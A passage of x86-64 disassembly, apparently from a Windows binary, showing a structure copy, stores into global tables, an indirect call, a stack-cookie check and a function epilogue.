movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140314230]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x314240], r15
mov qword [rcx + rax*8 + 0x314560], r10
add rax, r13
mov qword [0x140314230], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r12], rbx
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140180200
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret